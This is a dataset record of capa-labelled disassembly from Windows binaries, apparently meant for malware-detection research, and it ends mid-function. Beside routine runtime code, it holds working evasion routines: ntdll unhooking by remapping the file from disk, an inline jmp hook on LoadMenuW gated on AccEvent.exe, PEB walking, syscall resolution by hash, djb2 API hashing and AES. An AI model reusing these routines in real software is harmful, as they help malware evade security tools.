joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001f740
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18001f770
xor eax, eax
jmp 0x18001f833
mov rbp, rbx
cmp word [rax], si
je 0x18001f795
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18001f77c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18001f778
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180018a14
movsxd r14, eax
test eax, eax
jne 0x18001f7d3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18001f769
mov rcx, r14
call fcn.180018924
mov rdi, rax
test rax, rax
jne 0x18001f7ec
xor ecx, ecx
call fcn.1800188e8
jmp 0x18001f7c8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180018a14
test eax, eax
jne 0x18001f81d
mov rcx, rdi
call fcn.1800188e8
jmp 0x18001f827
xor ecx, ecx
call fcn.1800188e8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1800213d4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1800213ea
mov al, 1
jmp 0x18002144a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1800213fb
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180021448
mov ecx, dword [rcx + 0x18]
nop
call fcn.180022d08
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180021448
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180021448
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180021448
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18002144a
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x180021e7c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1800424f0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180021ed3
cmp word [rdx], r13w
jne 0x180021ed3
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180021ed8
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180021ffd
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x18002201e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x180021f11
mov rdx, r9
mov word [rbx], cx
jmp 0x180021f38
cmp r9, r8
jae 0x180021f48
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180021ef2
jmp 0x180021ffd
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180021ff2
cmp dword [rsp + 0x80], esi
je 0x180021ff2
lea r8, [0x1800424f0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x180021fca
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x180021f9a
mov word [rbx], r13w
jmp 0x180021ffa
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180021fa7
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180021ffa
cmp word [rsp + 0x70], r13w
jne 0x180021fd7
cmp rbx, r14
je 0x180021f94
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18001f47c
cmp word [rsp + 0x70], r13w
je 0x180021ffd
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1800424f0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180021ff7
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180021ffd
Function at 0x1800273b8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.180018b54
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x180027459
cmp ebx, dword [rsp + 0x30]
je 0x180027452
test esi, esi
je 0x180027452
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x18002742d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18002743a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x180027417
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x18002743e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18002745b
mov eax, 1
jmp 0x18002745b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x18002ba34
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18001f47c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18001f47c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18002bb84
cmp rax, 0xffffffffffffffff
je 0x18002bb84
xor edi, edi
test rbp, rbp
jle 0x18002bb2f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18001b51c
mov rbx, rax
test rax, rax
jne 0x18002babc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18002bb25
mov edx, 0x8000
mov ecx, r14d
call fcn.18002b8b8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18001ff6c
cmp eax, 0xffffffff
je 0x18002bb05
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18002bacc
mov edx, r15d
mov ecx, r14d
call fcn.18002b8b8
jmp 0x18002bb25
cmp byte [rsi + 0x38], dil
je 0x18002bb1c
cmp dword [rsi + 0x34], 5
jne 0x18002bb1c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18002bb25
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1800188e8
jmp 0x18002bb98
jns 0x18002bb98
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18001f47c
cmp rax, 0xffffffffffffffff
jne 0x18002bb50
cmp byte [rsi + 0x30], dil
je 0x18002bb98
mov edi, dword [rsi + 0x2c]
jmp 0x18002bb98
mov ecx, r14d
call fcn.180022d08
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18002bb98
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x18002bb98
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18002bb91
mov eax, dword [rsi + 0x2c]
jmp 0x18002bb96
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18001f47c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x18004b970
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0xa0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], 0
movabs rax, 0x6c642e6c6c64746e
mov qword [rsp + 0x96], rax
mov word [rsp + 0x9e], 0x6c
lea rcx, [rsp + 0x96]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x70]
mov rcx, rbx
mov rdx, rax
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
lea rcx, str.c:windows_system32_ntdll.dll
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], 0
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x60], rax
movsxd rdi, dword [rsi + 0x3c]
movzx ebx, word [rdi + rsi + 6]
test bx, bx
je 0x18004bb4b
lea r14, [rsi + rdi]
add r14, 0x18
lea r12, str..text
lea r13, [rsp + 0x6c]
xor r15d, r15d
jmp 0x18004bad5
mov rcx, r15
inc rcx
movzx edx, bx
add r14, 0x28
mov r15, rcx
cmp rcx, rdx
jae 0x18004bb4b
movzx eax, word [rsi + rdi + 0x14]
mov ebp, eax
add rbp, r14
mov rcx, rbp
mov rdx, r12
call fcn.180013ec0
test eax, eax
jne 0x18004bac0
mov dword [rsp + 0x6c], 0
mov eax, dword [rbp + 8]
mov ecx, dword [rbp + 0xc]
mov edx, eax
add rcx, rsi
mov r8d, 0x40
mov r9, r13
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbx
mov eax, dword [rbp + 8]
mov ecx, dword [rbp + 0xc]
mov edx, ecx
lea rcx, [rdx + rsi]
add rdx, qword [rsp + 0x60]
mov r8d, eax
call fcn.18002c4a0
mov r8d, dword [rsp + 0x6c]
mov eax, dword [rbp + 8]
mov ecx, dword [rbp + 0xc]
mov edx, eax
add rcx, rsi
mov r9, r13
call rbx
movzx ebx, word [rsi + rdi + 6]
jmp 0x18004bac0
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call rsi
mov rcx, qword [rsp + 0x48]
call rsi
mov rcx, qword [rsp + 0x40]
call rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.180006400
xor eax, eax
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x18004c2e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rsi
push rdi
sub rsp, 0x1a8
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
cmp edx, 1
jne 0x18004c4ca
call fcn.18004b970
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18004c4ca
mov rsi, rax
lea rdi, [rsp + 0x90]
mov r8d, 0x104
mov rcx, rdi
xor edx, edx
call fcn.18002cb40
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x18004c4ca
lea rcx, [rsp + 0x90]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
movabs rcx, 0x746e657645636341
mov qword [rsp + 0x83], rcx
mov dword [rsp + 0x8b], 0x6578652e
mov byte [rsp + 0x8f], 0
lea rdx, [rsp + 0x83]
mov rcx, rax
call fcn.180013ec0
test eax, eax
jne 0x18004c4ca
mov dword [rsp + 0x70], 0x6e72656b
mov qword [rsp + 0x74], 0
mov qword [rsp + 0x79], 0
mov dword [rsp + 0x54], 0x32336c65
mov word [rsp + 0x58], 0
mov byte [rsp + 0x5a], 0
mov word [rsp + 0x4e], 0x642e
mov dword [rsp + 0x50], 0
mov word [rsp + 0x4c], 0x6c
mov word [rsp + 0x4a], 0x6c
lea rsi, [rsp + 0x70]
lea rdx, [rsp + 0x54]
mov rcx, rsi
call fcn.180013d50
lea rdx, [rsp + 0x4e]
mov rcx, rsi
call fcn.180013d50
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call fcn.180013d50
lea rdx, [rsp + 0x4a]
mov rcx, rsi
call fcn.180013d50
mov rdi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rsi
call rdi
lea rdx, [0x18003691b]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
movabs rax, 0x642e323372657375
mov qword [rsp + 0x65], rax
mov word [rsp + 0x6d], 0x6c6c
mov byte [rsp + 0x6f], 0
lea rcx, [rsp + 0x65]
call rdi
movabs rcx, 0x756e654d64616f4c
mov qword [rsp + 0x5b], rcx
mov word [rsp + 0x63], 0x57
lea rdx, [rsp + 0x5b]
mov rcx, rax
call rsi
mov rsi, rax
mov qword [rsp + 0x38], 5
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x30]
lea r8, [rsp + 0x38]
mov rcx, 0xffffffffffffffff
mov r9d, 0x40
call fcn.1800015e7
mov byte [rsi], 0xe9
mov eax, esi
lea rcx, [0x18004bf40]
sub ecx, esi
add ecx, 0xfffffffb
mov dword [rsi + 1], ecx
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.180006400
mov eax, 1
add rsp, 0x1a8
pop rdi
pop rsi
ret
Function at 0x180051630
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
cmp dword [0x18003ffc8], 0
je 0x18005164b
mov eax, 1
jmp 0x1800517c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rdx, qword [rax + 0x10]
mov r8, qword [rdx + 0x30]
test r8, r8
je 0x1800517be
mov eax, 0xdfdfdfdf
xor r10d, r10d
jmp 0x180051695
mov r10, r8
mov rdx, qword [rdx]
mov r11, qword [rdx + 0x30]
mov r8, r11
mov r9, r10
test r11, r11
je 0x1800516e1
mov rcx, r8
movsxd r8, dword [r8 + 0x3c]
mov r8d, dword [r8 + rcx + 0x88]
mov r9d, r8d
mov r8, r10
test r9, r9
je 0x180051680
mov r10d, dword [r9 + rcx + 0xc]
mov r8, r9
add r8, rcx
mov r9d, r10d
mov r10d, dword [r9 + rcx]
and r10d, eax
cmp r10d, 0x4c44544e
jne 0x180051680
mov r10d, dword [r9 + rcx + 4]
and r10d, eax
mov r9, r8
cmp r10d, 0x4c440e4c
jne 0x180051680
test r9, r9
je 0x1800517be
mov rax, r9
mov r10d, dword [r9 + 0x18]
mov edx, dword [r9 + 0x1c]
add rdx, rcx
mov r8d, dword [r9 + 0x20]
add r8, rcx
mov eax, dword [r9 + 0x24]
mov r9d, eax
add r9, rcx
lea rax, [0x18003ffc8]
xor edi, edi
jmp 0x18005172b
mov edi, esi
test r11, r11
je 0x1800517c9
mov esi, edi
dec r10d
mov r11d, r10d
mov edi, dword [r8 + r11*4]
movzx ebx, word [rcx + rdi]
cmp ebx, 0x775a
jne 0x180051720
add rdi, rcx
mov ebp, 1
xor r14d, r14d
mov r15d, 0xb7370a32
nop word cs:[rax + rax]
movzx ebx, word [r14 + rdi]
mov r14d, r15d
rol r14d, 0x18
add r14d, ebx
mov ebx, r14d
xor ebx, r15d
mov r14d, ebp
inc ebp
cmp byte [rdi + r14], 0
mov r15d, ebx
jne 0x180051760
mov edi, esi
mov dword [rax + rdi*8 + 4], ebx
movzx ebx, word [r9 + r11*2]
mov ebx, dword [rdx + rbx*4]
mov dword [rax + rdi*8 + 8], ebx
mov edi, esi
inc edi
mov esi, edi
cmp edi, 0x1f4
jne 0x180051720
mov dword [0x18003ffc8], 0x1f4
mov edx, 0x1f3
mov ecx, 0x1f4
jmp 0x1800517db
xor eax, eax
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov dword [0x18003ffc8], esi
mov edx, esi
mov ecx, esi
dec edx
je 0x180051641
mov r9d, edx
xor r10d, r10d
jmp 0x1800517ff
dec r9d
mov r10d, r8d
cmp r8d, edx
je 0x180051641
mov r8d, r10d
mov r9d, r9d
inc r8d
cmp ecx, r8d
je 0x1800517f0
mov r11d, dword [0x18003ffd0]
xor r10d, r10d
jmp 0x18005184c
mov edi, dword [rax + r10*8 + 4]
mov ebx, dword [rax + r10*8 + 0xc]
mov dword [rax + r10*8 + 4], ebx
mov dword [rax + r10*8 + 8], esi
mov dword [rax + r10*8 + 0xc], edi
mov dword [rax + r10*8 + 0x10], r11d
mov rsi, r10
inc rsi
mov r10, rsi
cmp r9, rsi
je 0x1800517f0
mov esi, dword [rax + r10*8 + 0x10]
cmp r11d, esi
ja 0x180051820
mov r11d, esi
jmp 0x18005183e
Function at 0x7ff6850b1050
Capabilities:
Encode data using xor

Disassembly:
shl rcx, 4
xor eax, eax
and ecx, 0xff0
add r8, rcx
lea r9, [rdx + rax]
lea r10, [rax + r8]
xor ecx, ecx
mov r11b, byte [r10 + rcx]
inc rcx
xor byte [r9], r11b
inc r9
cmp rcx, 4
jne 0x7ff6850b1069
add rax, 4
cmp rax, 0x10
jne 0x7ff6850b105f
ret

Function at 0x7ff6850b11e0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
lea rax, [rdx + r8]
mov rbp, rsp
push r15
push r14
push r13
push r12
lea r12, str.cw
push rdi
mov dil, 0x1b
push rsi
mov rsi, rdx
push rbx
mov rbx, rcx
and rsp, 0xfffffffffffffff0
sub rsp, 0x40
mov qword [rsp + 0x28], rax
mov eax, 0x10
cmp qword [rsp + 0x28], rsi
je 0x7ff6850b13f0
cmp eax, 0x10
jne 0x7ff6850b13dd
lea rdx, [rsp + 0x30]
mov r8, rbx
xor ecx, ecx
mov r14d, 1
movups xmm0, xmmword [rbx + 0xf0]
lea r13, [rsp + 0x34]
movaps xmmword [rsp + 0x30], xmm0
call fcn.7ff6850b1050
lea rdx, [rsp + 0x30]
mov rcx, rdx
mov rax, rcx
xor r8d, r8d
movzx r9d, byte [rax]
inc r8d
add rax, 4
mov r9b, byte [r12 + r9]
mov byte [rax - 4], r9b
cmp r8b, 4
jne 0x7ff6850b125d
inc rcx
cmp r13, rcx
jne 0x7ff6850b1257
mov cl, byte [rsp + 0x35]
mov al, byte [rsp + 0x31]
mov byte [rsp + 0x31], cl
mov cl, byte [rsp + 0x39]
mov byte [rsp + 0x35], cl
mov cl, byte [rsp + 0x3d]
mov byte [rsp + 0x3d], al
mov al, byte [rsp + 0x32]
mov byte [rsp + 0x39], cl
mov cl, byte [rsp + 0x3a]
mov byte [rsp + 0x3a], al
mov al, byte [rsp + 0x36]
mov byte [rsp + 0x32], cl
mov cl, byte [rsp + 0x3e]
mov byte [rsp + 0x3e], al
mov al, byte [rsp + 0x33]
mov byte [rsp + 0x36], cl
mov cl, byte [rsp + 0x3f]
mov byte [rsp + 0x33], cl
mov cl, byte [rsp + 0x3b]
mov byte [rsp + 0x3f], cl
mov cl, byte [rsp + 0x37]
mov byte [rsp + 0x37], al
mov byte [rsp + 0x3b], cl
cmp r14d, 0xe
je 0x7ff6850b13a2
lea r11, [rdx + 0x10]
mov cl, byte [rdx]
mov r9b, byte [rdx + 1]
add rdx, 4
mov r8b, byte [rdx - 2]
xor r8b, byte [rdx - 1]
xor r9d, ecx
mov r15d, ecx
xor cl, byte [rdx - 1]
mov eax, r9d
mov r10d, r9d
add r9d, r9d
shr al, 7
xor r10d, r8d
imul eax, edi
xor r15d, r10d
xor r15d, eax
xor r9d, r15d
mov r15b, byte [rdx - 3]
xor r15b, byte [rdx - 2]
mov eax, r15d
mov byte [rdx - 4], r9b
mov r9b, byte [rdx - 3]
add r15d, r15d
shr al, 7
imul eax, edi
xor r9d, r10d
xor r9d, eax
mov eax, r8d
add r8d, r8d
shr al, 7
xor r15d, r9d
mov r9b, byte [rdx - 2]
imul eax, edi
mov byte [rdx - 3], r15b
xor r9d, r10d
xor r10b, byte [rdx - 1]
xor r9d, eax
mov eax, ecx
add ecx, ecx
shr al, 7
xor r8d, r9d
imul eax, edi
mov byte [rdx - 2], r8b
mov r8d, r10d
xor eax, r8d
xor ecx, eax
mov byte [rdx - 1], cl
cmp r11, rdx
jne 0x7ff6850b12ec
mov ecx, r14d
lea rdx, [rsp + 0x30]
mov r8, rbx
inc r14d
call fcn.7ff6850b1050
jmp 0x7ff6850b124f
mov r8, rbx
mov ecx, 0xe
call fcn.7ff6850b1050
mov eax, 0xf
mov dl, byte [rbx + rax + 0xf0]
cmp dl, 0xff
jne 0x7ff6850b13d0
mov byte [rbx + rax + 0xf0], 0
sub rax, 1
jae 0x7ff6850b13b4
jmp 0x7ff6850b13db
cdqe
inc edx
mov byte [rbx + rax + 0xf0], dl
xor eax, eax
movsxd rdx, eax
inc eax
mov dl, byte [rsp + rdx + 0x30]
xor byte [rsi], dl
inc rsi
jmp 0x7ff6850b1215
lea rsp, [rbp - 0x38]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x7ff6850bbe80
Capabilities:
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
mov r12, rcx
push rbp
mov rdx, r12
push rdi
push rsi
xor esi, esi
push rbx
sub rsp, 0x28
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rcx + rax + 0x88]
call 0x7ff6850c2d50
mov rdx, r12
mov ebx, eax
add rbx, r12
mov ecx, dword [rbx + 0x20]
call 0x7ff6850c2d50
mov ecx, dword [rbx + 0x24]
mov rdx, r12
mov ebp, eax
call 0x7ff6850c2d50
mov r15d, dword [rbx + 0x18]
add rbp, r12
mov edi, eax
add rdi, r12
lea r14, [rsi + rsi]
add r14, rdi
cmp r15, rsi
je 0x7ff6850bbf41
mov ecx, dword [rbp + rsi*4]
mov rdx, r12
call 0x7ff6850c2d50
mov r13d, eax
add r13, r12
mov rcx, r13
call fcn.7ff6850bc430
cmp eax, 0xa6caa1c5
jne 0x7ff6850bbf2d
mov ecx, dword [rbx + 0x1c]
mov rdx, r12
call 0x7ff6850c2d50
movzx edx, word [r14]
mov eax, eax
add rax, r12
mov ecx, dword [rax + rdx*4]
add rsp, 0x28
mov rdx, r12
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp 0x7ff6850c2d50
mov rcx, r13
inc rsi
call fcn.7ff6850bc430
cmp eax, 0xffe885ef
jne 0x7ff6850bbed1
jmp 0x7ff6850bbefe
add rsp, 0x28
xor eax, eax
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov eax, ecx
movsxd rcx, dword [rdx + 0x3c]
add rcx, rdx
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
cmp dword [rdx + 0x14], eax
ja 0x7ff6850c2d9a
mov r9w, word [rcx + 6]
xor ecx, ecx
cmp r9w, cx
je 0x7ff6850c2d98
mov r8d, dword [rdx + 0xc]
cmp eax, r8d
jb 0x7ff6850c2d90
mov r10d, dword [rdx + 0x10]
add r10d, r8d
cmp r10d, eax
jbe 0x7ff6850c2d90
add eax, dword [rdx + 0x14]
sub eax, r8d
ret
inc ecx
add rdx, 0x28
jmp 0x7ff6850c2d6e
xor eax, eax
ret

Function at 0x7ff6850bbfb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, qword [0x7ff6850ca170]
push r12
xor r8d, r8d
push rbp
push rdi
push rsi
push rbx
mov rbx, qword [rax]
mov rax, qword [rbx + 0x84a]
test rax, rax
je 0x7ff6850bc065
mov r8d, dword [rbx + 0x800]
test r8d, r8d
jne 0x7ff6850bc065
movsxd rdx, dword [rax + 0x3c]
xor ecx, ecx
mov edx, dword [rax + rdx + 0x88]
add rdx, rax
mov edi, dword [rdx + 0x20]
mov r10d, dword [rdx + 0x1c]
mov esi, dword [rdx + 0x24]
mov ebp, dword [rdx + 0x18]
xor edx, edx
add r10, rax
add rdi, rax
add rsi, rax
cmp ebp, ecx
jbe 0x7ff6850bc05e
mov r9d, dword [rdi + rcx*4]
cmp word [rax + r9], 0x775a
jne 0x7ff6850bc059
test rdx, rdx
movzx r9d, word [rsi + rcx*2]
jne 0x7ff6850bc02f
mov edx, dword [r10 + r9*4]
add rdx, rax
jmp 0x7ff6850bc059
mov r9d, dword [r10 + r9*4]
mov r11, rdx
add r9, rax
mov r12, r9
sub r11, r9
sub r12, rdx
cmp rdx, r9
mov r9d, r12d
cmova r9d, r11d
test r8d, r8d
je 0x7ff6850bc056
cmp r8d, r9d
jbe 0x7ff6850bc059
mov r8d, r9d
inc rcx
jmp 0x7ff6850bc00b
mov dword [rbx + 0x800], r8d
pop rbx
mov eax, r8d
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x7ff6850bc3e0
Capabilities:
Hash data using djb2

Disassembly:
xor eax, eax
test rcx, rcx
je 0x7ff6850bc42d
mov r10, rcx
mov eax, 0x1505
mov r9b, byte [r10]
test edx, edx
jne 0x7ff6850bc3fc
test r9b, r9b
jne 0x7ff6850bc40f
ret
mov r11, r10
sub r11, rcx
cmp edx, r11d
jbe 0x7ff6850bc42d
cmp r9b, 1
adc r10, 0
cmp r9b, 0x60
jbe 0x7ff6850bc41e
test r8d, r8d
je 0x7ff6850bc41e
sub r9d, 0x20
imul eax, eax, 0x21
movzx r9d, r9b
inc r10
add eax, r9d
jmp 0x7ff6850bc3ef
ret

Function at 0x7ff6850bc430
Capabilities:
Hash data using djb2

Disassembly:
mov eax, 0x1505
movsx edx, byte [rcx]
inc rcx
test dl, dl
je 0x7ff6850bc446
imul eax, eax, 0x21
add eax, edx
jmp 0x7ff6850bc435
ret

Function at 0x7ff6850bdef0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rsi
xor eax, eax
push rbx
mov r8b, byte [rdx + rax]
mov byte [rcx + rax], r8b
mov r8b, byte [rdx + rax + 1]
mov byte [rcx + rax + 1], r8b
mov r8b, byte [rdx + rax + 2]
mov byte [rcx + rax + 2], r8b
mov r8b, byte [rdx + rax + 3]
mov byte [rcx + rax + 3], r8b
add rax, 4
cmp rax, 0x20
jne 0x7ff6850bdef4
mov r11d, 8
lea r10, str.cw
lea rbx, [0x7ff6850ca1c0]
mov esi, r11d
movzx r9d, byte [rcx + 0x1c]
movzx r8d, byte [rcx + 0x1d]
movzx edx, byte [rcx + 0x1e]
movzx eax, byte [rcx + 0x1f]
and esi, 7
jne 0x7ff6850bdf72
mov sil, byte [r10 + r8]
mov r8b, byte [r10 + rdx]
